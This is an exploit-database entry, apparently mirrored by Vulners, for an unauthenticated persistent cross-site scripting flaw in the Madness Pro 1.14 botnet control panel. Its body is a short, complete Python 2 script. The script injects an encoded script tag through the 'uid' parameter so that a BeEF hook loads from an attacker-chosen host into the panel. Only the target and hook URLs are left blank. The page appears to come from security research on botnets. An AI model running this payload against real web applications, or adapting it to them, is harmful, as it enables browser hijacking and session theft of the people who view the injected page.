Lucene search
K

Madness Pro 1.14 - Persistent Cross-Site Scripting

πŸ—“οΈΒ 06 Jun 2014Β 00:00:00Reported byΒ bwallTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 27Β Views

Madness Pro 1.14 - Persistent Cross-Site Scripting exploit with unauthenticated XS

Code
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 Persistent XSS
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              β–„β–„β–Œ        β–„β–„β–„β–„Β·       β–„β–„β–„β–„β–„      β€’ β–Œ β–„ Β·.  β–„Β· β–„β–Œ
#              β–ˆβ–ˆβ€’  β–ͺ     β–β–ˆ β–€β–ˆβ–ͺβ–ͺ     β€’β–ˆβ–ˆ  β–ͺ     Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆβ–ͺβ–ˆβ–ˆβ–Œ
#              β–ˆβ–ˆβ–ͺ   β–„β–ˆβ–€β–„ β–β–ˆβ–€β–€β–ˆβ–„ β–„β–ˆβ–€β–„  β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–β–ˆβ–Œβ–β–ˆβ–ͺ
#              β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–Œ.β–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œ β–β–ˆβ–€Β·.
#              .β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺΒ·β–€β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺ β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺβ–€β–€  β–ˆβ–ͺβ–€β–€β–€  β–€ β€’
#   β–„β–„Β· β–„β€’ β–„β–Œβ–„β–„β–„  β–ͺ   ▐ β–„  β–„β–„ β€’     β€’ β–Œ β–„ Β·.  β–„β–„β–„Β· Β·β–„β–„β–„β–„   ▐ β–„ β–„β–„β–„ ..β–„β–„ Β· .β–„β–„ Β·
#  β–β–ˆ β–Œβ–ͺβ–ˆβ–ͺβ–ˆβ–ˆβ–Œβ–€β–„ β–ˆΒ·β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–β–ˆ β–€ β–ͺ    Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆ β–€β–ˆ β–ˆβ–ˆβ–ͺ β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–€β–„.β–€Β·β–β–ˆ β–€. β–β–ˆ β–€.
#  β–ˆβ–ˆ β–„β–„β–ˆβ–Œβ–β–ˆβ–Œβ–β–€β–€β–„ β–β–ˆΒ·β–β–ˆβ–β–β–Œβ–„β–ˆ β–€β–ˆβ–„    β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–„β–ˆβ–€β–€β–ˆ β–β–ˆΒ· β–β–ˆβ–Œβ–β–ˆβ–β–β–Œβ–β–€β–€β–ͺβ–„β–„β–€β–€β–€β–ˆβ–„β–„β–€β–€β–€β–ˆβ–„
#  β–β–ˆβ–ˆβ–ˆβ–Œβ–β–ˆβ–„β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–Œβ–β–ˆβ–Œβ–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–ͺβ–β–ˆ    β–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆ. β–ˆβ–ˆ β–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–„β–Œβ–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–„β–ͺβ–β–ˆ
#  Β·β–€β–€β–€  β–€β–€β–€ .β–€  β–€β–€β–€β–€β–€β–€ β–ˆβ–ͺΒ·β–€β–€β–€β–€     β–€β–€  β–ˆβ–ͺβ–€β–€β–€ β–€  β–€ β–€β–€β–€β–€β–€β€’ β–€β–€ β–ˆβ–ͺ β–€β–€β–€  β–€β–€β–€β–€  β–€β–€β–€β–€
#
# Unauthenticated persistent XSS in Madness Pro panel <= 1.14
# Discovered and developed by bwall @botnet_hunter
#
# References:
#	http://blog.cylance.com/a-study-in-bots-lobotomy
#	
import urllib

# Fill in URL that Madness Pro bot connects back to
panel_url = ""
# Fill in URL to your Javascript payload (the shorter the better)
beef_hook = ""


def install_beef_hook(beef_hook_url, panel_index_url):
    f = urllib.urlopen("{0}?uid=12345%3Cimg%20alt%3D\\')%3B%5C%22%3E%3Cscript%20src=\"{1}\">%3C%2Fscript%3E%3C%2Fa%3E"
                       "%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\\'12345".format(panel_index_url,
                                                                                              beef_hook_url))
    print f.read()

install_beef_hook(beef_hook, panel_url)

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation